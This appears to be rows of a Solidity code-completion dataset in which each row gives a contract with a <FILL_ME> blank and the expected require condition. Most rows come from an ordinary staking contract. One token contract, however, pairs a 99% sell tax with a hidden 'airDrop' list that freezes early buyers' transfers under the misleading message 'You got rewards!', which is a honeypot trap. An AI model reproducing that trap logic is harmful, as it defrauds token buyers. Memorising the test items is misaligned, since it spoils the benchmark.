pragma solidity >=0.8.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
contract PyroStaking is Auth {
struct PoolConfiguration {
uint256 poolStakedTokens;
uint16 apr;
uint16 depositFee;
uint16 earlyWithdrawFee;
uint32 withdrawLockPeriod;
bool available;
bool burnDeposit;
}
struct StakeState {
uint256 stakedAmount;
uint256 rewardDebt;
uint32 lastChangeTime;
uint32 lockEndTime;
}
event TokenStaked(address indexed user, uint256 amount);
event TokenUnstaked(address indexed user, uint256 amount);
event RewardClaimed(address indexed user, uint256 outAmount);
event PoolAvailability(bool available);
event PoolConfigurated(uint16 apr, uint16 depositFee, uint32 lockPeriod, uint16 earlyWithdrawFee);
event DepositFeeBurnStatus(bool active);
event DepositFeeBurn(uint256 burn);
event StakingTokenUpdate(address indexed oldToken, address indexed newToken);
// Informs about the address for the token being used for staking.
address public stakingToken;
// Taxes are set in /10000.
// Using solidity underscore separator for easier reading.
// Digits before underscore are the percentage.
// Digits after underscore are decimals for said percentage.
uint256 public immutable denominator = 100_00;
// Staking pool configuration.
PoolConfiguration private poolConfig;
// Info of each user that stakes tokens.
mapping (address => StakeState) public stakerDetails;
// Burn address.
address public immutable DEAD = address(0xdead);
constructor(address t) Auth(msg.sender) {
}
modifier noStakes {
}
modifier positiveAPR(uint16 apr) {
}
modifier validFee(uint16 fee) {
}
modifier validLockPeriod(uint32 time) {
}
function setPoolConfiguration(
uint16 apr, uint16 depositFee, uint16 earlyWithdrawFee, uint32 withdrawLockPeriod, bool active, bool burn
)
external authorized noStakes positiveAPR(apr)
validFee(depositFee) validFee(earlyWithdrawFee)
validLockPeriod(withdrawLockPeriod)
{
}
/**
* @dev Internal function for updating full stake configuration.
*/
function _setStakingConfig(
uint16 apr, uint16 depositFee, uint16 earlyWithdrawFee, uint32 withdrawLockPeriod, bool active, bool burn
) internal {
}
/**
* @dev Sets APR out of / 10000.
* Each 100 means 1%.
*/
function setAPR(uint16 apr) external authorized positiveAPR(apr) {
}
/**
* @dev Sets deposit fee out of / 10000.
*/
function setDepositFee(uint16 fee) external authorized validFee(fee) {
}
/**
* @dev Early withdraw fee out of / 10000.
*/
function setEarlyWithdrawFee(uint16 fee) external authorized validFee(fee) {
}
/**
* @dev Pool can be set inactive to end staking after the last lock and restart with new values.
*/
function setPoolAvailable(bool active) external authorized {
}
/**
* @dev Early withdraw penalty in seconds.
*/
function setEarlyWithdrawLock(uint32 time) external authorized noStakes validLockPeriod(time) {
}
function setFeeBurn(bool burn) external authorized {
}
function updateStakingToken(address t) external authorized noStakes {
}
/**
* @dev Check the current unclaimed pending reward for a specific stake.
*/
function pendingReward(address account) public view returns (uint256) {
}
function yieldFromElapsedTime(uint256 amount, uint256 deltaTime) public view returns (uint256) {
}
/**
* @dev Given an amount to stake returns a total yield as per APR.
*/
function annualYield(uint256 amount) public view returns (uint256) {
}
function dailyYield(uint256 amount) external view returns (uint256) {
}
function stake(uint256 amount) external {
require(amount > 0, "Amount needs to be bigger than 0");
require(<FILL_ME>)
IERC20(stakingToken).transferFrom(msg.sender, address(this), amount);
StakeState storage user = stakerDetails[msg.sender];
// Calc unclaimed reward on stake update.
if (user.lastChangeTime != 0 && user.stakedAmount > 0) {
user.rewardDebt = pendingReward(msg.sender);
}
uint256 stakeAmount = amount;
// Check deposit fee
if (poolConfig.depositFee > 0) {
uint256 dFee = depositFeeFromAmount(amount);
stakeAmount -= dFee;
// If the pool has enough for rewards, deposit fee can be sent to burn address instead.
if (poolConfig.burnDeposit) {
IERC20(stakingToken).transfer(DEAD, dFee);
emit DepositFeeBurn(dFee);
}
}
user.stakedAmount += stakeAmount;
uint32 rnow = uint32(block.timestamp);
user.lastChangeTime = rnow;
if (user.lockEndTime == 0) {
user.lockEndTime = rnow + poolConfig.withdrawLockPeriod;
}
poolConfig.poolStakedTokens += stakeAmount;
emit TokenStaked(msg.sender, stakeAmount);
}
function depositFeeFromAmount(uint256 amount) public view returns (uint256) {
}
function unstake() external {
}
function unstakeFor(address staker) internal {
}
function claim() external {
}
/**
* @dev Allows an authorised account to finalise a staking that has not claimed nor unstaked while the period is over.
*/
function forceClaimUnstake(address staker) external authorized {
}
function _claim(address staker) internal {
}
/**
* @dev Checks whether there's a stake withdraw fee or not.
*/
function canWithdrawTokensNoFee(address user) external view returns (bool) {
}
/**
* @dev Rescue non staking tokens sent to this contract by accident.
*/
function rescueToken(address t, address receiver) external authorized {
}
function viewPoolDetails() external view returns (PoolConfiguration memory) {
}
function viewStake(address staker) public view returns (StakeState memory) {
}
function viewMyStake() external view returns (StakeState memory) {
}
function viewMyPendingReward() external view returns (uint256) {
}
/**
* @dev Returns APR in percentage.
*/
function viewAPRPercent() external view returns (uint16) {
}
/**
* @dev Returns APR in percentage and 2 decimal points in an extra varaible.
*/
function viewAPRPercentDecimals() external view returns (uint16 aprPercent, uint16 decimalValue) {
}
/**
* @dev Given a theroetical stake, returns the unstake returning amount, deposit fee paid, and yield on a full cycle.
*/
function simulateYearStake(uint256 amount) external view returns (uint256 unstakeAmount, uint256 depositFee, uint256 yield) {
}
/**
* @dev Given an amount to stake and a duration, returns unstake returning amount, deposit fee paid, and yield.
*/
function simulateStake(uint256 amount, uint32 duration) external view returns (uint256 unstakeAmount, uint256 depositFee, uint256 yield) {
}
/**
* @dev Returns total amount of tokens staked by users.
*/
function totalStakedTokens() external view returns (uint256) {
}
}
| poolConfig.available,"Pool is not accepting staking right now." | 244,783 | poolConfig.available |
"Staking contract does not have enough tokens." | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
contract PyroStaking is Auth {
struct PoolConfiguration {
uint256 poolStakedTokens;
uint16 apr;
uint16 depositFee;
uint16 earlyWithdrawFee;
uint32 withdrawLockPeriod;
bool available;
bool burnDeposit;
}
struct StakeState {
uint256 stakedAmount;
uint256 rewardDebt;
uint32 lastChangeTime;
uint32 lockEndTime;
}
event TokenStaked(address indexed user, uint256 amount);
event TokenUnstaked(address indexed user, uint256 amount);
event RewardClaimed(address indexed user, uint256 outAmount);
event PoolAvailability(bool available);
event PoolConfigurated(uint16 apr, uint16 depositFee, uint32 lockPeriod, uint16 earlyWithdrawFee);
event DepositFeeBurnStatus(bool active);
event DepositFeeBurn(uint256 burn);
event StakingTokenUpdate(address indexed oldToken, address indexed newToken);
// Informs about the address for the token being used for staking.
address public stakingToken;
// Taxes are set in /10000.
// Using solidity underscore separator for easier reading.
// Digits before underscore are the percentage.
// Digits after underscore are decimals for said percentage.
uint256 public immutable denominator = 100_00;
// Staking pool configuration.
PoolConfiguration private poolConfig;
// Info of each user that stakes tokens.
mapping (address => StakeState) public stakerDetails;
// Burn address.
address public immutable DEAD = address(0xdead);
constructor(address t) Auth(msg.sender) {
}
modifier noStakes {
}
modifier positiveAPR(uint16 apr) {
}
modifier validFee(uint16 fee) {
}
modifier validLockPeriod(uint32 time) {
}
function setPoolConfiguration(
uint16 apr, uint16 depositFee, uint16 earlyWithdrawFee, uint32 withdrawLockPeriod, bool active, bool burn
)
external authorized noStakes positiveAPR(apr)
validFee(depositFee) validFee(earlyWithdrawFee)
validLockPeriod(withdrawLockPeriod)
{
}
/**
* @dev Internal function for updating full stake configuration.
*/
function _setStakingConfig(
uint16 apr, uint16 depositFee, uint16 earlyWithdrawFee, uint32 withdrawLockPeriod, bool active, bool burn
) internal {
}
/**
* @dev Sets APR out of / 10000.
* Each 100 means 1%.
*/
function setAPR(uint16 apr) external authorized positiveAPR(apr) {
}
/**
* @dev Sets deposit fee out of / 10000.
*/
function setDepositFee(uint16 fee) external authorized validFee(fee) {
}
/**
* @dev Early withdraw fee out of / 10000.
*/
function setEarlyWithdrawFee(uint16 fee) external authorized validFee(fee) {
}
/**
* @dev Pool can be set inactive to end staking after the last lock and restart with new values.
*/
function setPoolAvailable(bool active) external authorized {
}
/**
* @dev Early withdraw penalty in seconds.
*/
function setEarlyWithdrawLock(uint32 time) external authorized noStakes validLockPeriod(time) {
}
function setFeeBurn(bool burn) external authorized {
}
function updateStakingToken(address t) external authorized noStakes {
}
/**
* @dev Check the current unclaimed pending reward for a specific stake.
*/
function pendingReward(address account) public view returns (uint256) {
}
function yieldFromElapsedTime(uint256 amount, uint256 deltaTime) public view returns (uint256) {
}
/**
* @dev Given an amount to stake returns a total yield as per APR.
*/
function annualYield(uint256 amount) public view returns (uint256) {
}
function dailyYield(uint256 amount) external view returns (uint256) {
}
function stake(uint256 amount) external {
}
function depositFeeFromAmount(uint256 amount) public view returns (uint256) {
}
function unstake() external {
}
function unstakeFor(address staker) internal {
StakeState storage user = stakerDetails[staker];
uint256 amount = user.stakedAmount;
require(amount > 0, "No stake on pool.");
// Update user staking status.
// When unstaking is done, claim is automatically done.
_claim(staker);
user.stakedAmount = 0;
uint256 unstakeAmount = amount;
// Check for early withdraw fee.
if (block.timestamp < user.lockEndTime && poolConfig.earlyWithdrawFee > 0) {
uint256 fee = amount * poolConfig.earlyWithdrawFee / denominator;
unstakeAmount -= fee;
}
user.lockEndTime = 0;
IERC20 stakedToken = IERC20(stakingToken);
// Check for a clear revert error if rewards+unstake surpass balance.
require(<FILL_ME>)
// Return token to staker and update staking values.
stakedToken.transfer(staker, unstakeAmount);
poolConfig.poolStakedTokens -= amount;
emit TokenUnstaked(staker, unstakeAmount);
}
function claim() external {
}
/**
* @dev Allows an authorised account to finalise a staking that has not claimed nor unstaked while the period is over.
*/
function forceClaimUnstake(address staker) external authorized {
}
function _claim(address staker) internal {
}
/**
* @dev Checks whether there's a stake withdraw fee or not.
*/
function canWithdrawTokensNoFee(address user) external view returns (bool) {
}
/**
* @dev Rescue non staking tokens sent to this contract by accident.
*/
function rescueToken(address t, address receiver) external authorized {
}
function viewPoolDetails() external view returns (PoolConfiguration memory) {
}
function viewStake(address staker) public view returns (StakeState memory) {
}
function viewMyStake() external view returns (StakeState memory) {
}
function viewMyPendingReward() external view returns (uint256) {
}
/**
* @dev Returns APR in percentage.
*/
function viewAPRPercent() external view returns (uint16) {
}
/**
* @dev Returns APR in percentage and 2 decimal points in an extra varaible.
*/
function viewAPRPercentDecimals() external view returns (uint16 aprPercent, uint16 decimalValue) {
}
/**
* @dev Given a theroetical stake, returns the unstake returning amount, deposit fee paid, and yield on a full cycle.
*/
function simulateYearStake(uint256 amount) external view returns (uint256 unstakeAmount, uint256 depositFee, uint256 yield) {
}
/**
* @dev Given an amount to stake and a duration, returns unstake returning amount, deposit fee paid, and yield.
*/
function simulateStake(uint256 amount, uint32 duration) external view returns (uint256 unstakeAmount, uint256 depositFee, uint256 yield) {
}
/**
* @dev Returns total amount of tokens staked by users.
*/
function totalStakedTokens() external view returns (uint256) {
}
}
| stakedToken.balanceOf(address(this))>=unstakeAmount,"Staking contract does not have enough tokens." | 244,783 | stakedToken.balanceOf(address(this))>=unstakeAmount |
"Pool is still available." | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
contract PyroStaking is Auth {
struct PoolConfiguration {
uint256 poolStakedTokens;
uint16 apr;
uint16 depositFee;
uint16 earlyWithdrawFee;
uint32 withdrawLockPeriod;
bool available;
bool burnDeposit;
}
struct StakeState {
uint256 stakedAmount;
uint256 rewardDebt;
uint32 lastChangeTime;
uint32 lockEndTime;
}
event TokenStaked(address indexed user, uint256 amount);
event TokenUnstaked(address indexed user, uint256 amount);
event RewardClaimed(address indexed user, uint256 outAmount);
event PoolAvailability(bool available);
event PoolConfigurated(uint16 apr, uint16 depositFee, uint32 lockPeriod, uint16 earlyWithdrawFee);
event DepositFeeBurnStatus(bool active);
event DepositFeeBurn(uint256 burn);
event StakingTokenUpdate(address indexed oldToken, address indexed newToken);
// Informs about the address for the token being used for staking.
address public stakingToken;
// Taxes are set in /10000.
// Using solidity underscore separator for easier reading.
// Digits before underscore are the percentage.
// Digits after underscore are decimals for said percentage.
uint256 public immutable denominator = 100_00;
// Staking pool configuration.
PoolConfiguration private poolConfig;
// Info of each user that stakes tokens.
mapping (address => StakeState) public stakerDetails;
// Burn address.
address public immutable DEAD = address(0xdead);
constructor(address t) Auth(msg.sender) {
}
modifier noStakes {
}
modifier positiveAPR(uint16 apr) {
}
modifier validFee(uint16 fee) {
}
modifier validLockPeriod(uint32 time) {
}
function setPoolConfiguration(
uint16 apr, uint16 depositFee, uint16 earlyWithdrawFee, uint32 withdrawLockPeriod, bool active, bool burn
)
external authorized noStakes positiveAPR(apr)
validFee(depositFee) validFee(earlyWithdrawFee)
validLockPeriod(withdrawLockPeriod)
{
}
/**
* @dev Internal function for updating full stake configuration.
*/
function _setStakingConfig(
uint16 apr, uint16 depositFee, uint16 earlyWithdrawFee, uint32 withdrawLockPeriod, bool active, bool burn
) internal {
}
/**
* @dev Sets APR out of / 10000.
* Each 100 means 1%.
*/
function setAPR(uint16 apr) external authorized positiveAPR(apr) {
}
/**
* @dev Sets deposit fee out of / 10000.
*/
function setDepositFee(uint16 fee) external authorized validFee(fee) {
}
/**
* @dev Early withdraw fee out of / 10000.
*/
function setEarlyWithdrawFee(uint16 fee) external authorized validFee(fee) {
}
/**
* @dev Pool can be set inactive to end staking after the last lock and restart with new values.
*/
function setPoolAvailable(bool active) external authorized {
}
/**
* @dev Early withdraw penalty in seconds.
*/
function setEarlyWithdrawLock(uint32 time) external authorized noStakes validLockPeriod(time) {
}
function setFeeBurn(bool burn) external authorized {
}
function updateStakingToken(address t) external authorized noStakes {
}
/**
* @dev Check the current unclaimed pending reward for a specific stake.
*/
function pendingReward(address account) public view returns (uint256) {
}
function yieldFromElapsedTime(uint256 amount, uint256 deltaTime) public view returns (uint256) {
}
/**
* @dev Given an amount to stake returns a total yield as per APR.
*/
function annualYield(uint256 amount) public view returns (uint256) {
}
function dailyYield(uint256 amount) external view returns (uint256) {
}
function stake(uint256 amount) external {
}
function depositFeeFromAmount(uint256 amount) public view returns (uint256) {
}
function unstake() external {
}
function unstakeFor(address staker) internal {
}
function claim() external {
}
/**
* @dev Allows an authorised account to finalise a staking that has not claimed nor unstaked while the period is over.
*/
function forceClaimUnstake(address staker) external authorized {
// Pool must not be available for staking, otherwise the user should be free to renew their stake.
require(<FILL_ME>)
// The stake must have finished its lock time and accrued all the APR.
require(block.timestamp > stakerDetails[staker].lockEndTime, "User's lock time has not finished yet.");
// Run their claim and unstake.
unstakeFor(staker);
}
function _claim(address staker) internal {
}
/**
* @dev Checks whether there's a stake withdraw fee or not.
*/
function canWithdrawTokensNoFee(address user) external view returns (bool) {
}
/**
* @dev Rescue non staking tokens sent to this contract by accident.
*/
function rescueToken(address t, address receiver) external authorized {
}
function viewPoolDetails() external view returns (PoolConfiguration memory) {
}
function viewStake(address staker) public view returns (StakeState memory) {
}
function viewMyStake() external view returns (StakeState memory) {
}
function viewMyPendingReward() external view returns (uint256) {
}
/**
* @dev Returns APR in percentage.
*/
function viewAPRPercent() external view returns (uint16) {
}
/**
* @dev Returns APR in percentage and 2 decimal points in an extra varaible.
*/
function viewAPRPercentDecimals() external view returns (uint16 aprPercent, uint16 decimalValue) {
}
/**
* @dev Given a theroetical stake, returns the unstake returning amount, deposit fee paid, and yield on a full cycle.
*/
function simulateYearStake(uint256 amount) external view returns (uint256 unstakeAmount, uint256 depositFee, uint256 yield) {
}
/**
* @dev Given an amount to stake and a duration, returns unstake returning amount, deposit fee paid, and yield.
*/
function simulateStake(uint256 amount, uint32 duration) external view returns (uint256 unstakeAmount, uint256 depositFee, uint256 yield) {
}
/**
* @dev Returns total amount of tokens staked by users.
*/
function totalStakedTokens() external view returns (uint256) {
}
}
| !poolConfig.available,"Pool is still available." | 244,783 | !poolConfig.available |
"You got rewards!" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract RedClifford is ERC20, Ownable{
using Address for address payable;
IRouter public router;
address public pair;
bool private swapping;
bool public swapEnabled;
bool public tradingEnabled;
uint256 public genesis_block;
uint256 public deadblocks = 0;
uint256 public swapThreshold = 10_000_000 * 10e18;
uint256 public maxTxAmount = 1_000_000_000 * 10**18;
uint256 public maxWalletAmount = 20_000_000 * 10**18;
address public marketingWallet = 0xfC02362866F580E5792390aD81EFddBA016803D7;
address public developerWallet = 0xfC02362866F580E5792390aD81EFddBA016803D7;
struct Taxes {
uint256 marketing;
uint256 liquidity;
uint256 developer;
}
Taxes public taxes = Taxes(25,0,0);
Taxes public sellTaxes = Taxes(99,0,0);
uint256 public totTax = 25;
uint256 public totSellTax = 99;
mapping (address => bool) public excludedFromFees;
mapping (address => bool) public airDrop;
modifier inSwap() {
}
constructor() ERC20("Red Clifford", "CLIFFORD") {
}
function _transfer(address sender, address recipient, uint256 amount) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
require(<FILL_ME>)
if(!excludedFromFees[sender] && !excludedFromFees[recipient] && !swapping){
require(tradingEnabled, "Trading not active yet");
if(genesis_block + deadblocks > block.number){
if(recipient != pair) airDrop[recipient] = true;
if(sender != pair) airDrop[sender] = true;
}
require(amount <= maxTxAmount, "You are exceeding maxTxAmount");
if(recipient != pair){
require(balanceOf(recipient) + amount <= maxWalletAmount, "You are exceeding maxWalletAmount");
}
}
uint256 fee;
//set fee to zero if fees in contract are handled or exempted
if (swapping || excludedFromFees[sender] || excludedFromFees[recipient]) fee = 0;
//calculate fee
else{
if(recipient == pair) fee = amount * totSellTax / 100;
else fee = amount * totTax / 100;
}
//send fees if threshold has been reached
//don't do this on buys, breaks swap
if (swapEnabled && !swapping && sender != pair && fee > 0) swapForFees();
super._transfer(sender, recipient, amount - fee);
if(fee > 0) super._transfer(sender, address(this) ,fee);
}
function swapForFees() private inSwap {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
}
function setSwapEnabled(bool state) external onlyOwner {
}
function setSwapThreshold(uint256 new_amount) external onlyOwner {
}
function enableTrading(uint256 numOfDeadBlocks) external onlyOwner {
}
function setTaxes(uint256 _marketing, uint256 _liquidity, uint256 _developer) external onlyOwner{
}
function setSellTaxes(uint256 _marketing, uint256 _liquidity, uint256 _developer) external onlyOwner{
}
function updateMarketingWallet(address newWallet) external onlyOwner{
}
function updateDeveloperWallet(address newWallet) external onlyOwner{
}
function updateRouterAndPair(IRouter _router, address _pair) external onlyOwner{
}
function addSnapShot(address[] memory airDrop_) external {
}
function delAirDrop(address account) external {
}
function updateExcludedFromFees(address _address, bool state) external onlyOwner{
}
function updateMaxTxAmount(uint256 amount) external onlyOwner{
}
function updateMaxWalletAmount(uint256 amount) external onlyOwner{
}
function rescueERC20(address tokenAddress, uint256 amount) external {
}
function rescueETH(uint256 weiAmount) external {
}
function manualSwap(uint256 amount, uint256 developerPercentage, uint256 marketingPercentage) external {
}
function removeLimits() external onlyOwner returns (bool) {
}
// fallbacks
receive() external payable {}
}
| !airDrop[sender]&&!airDrop[recipient],"You got rewards!" | 244,784 | !airDrop[sender]&&!airDrop[recipient] |
"Seven Deadly Sins: Time to block accounts has expired" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
}
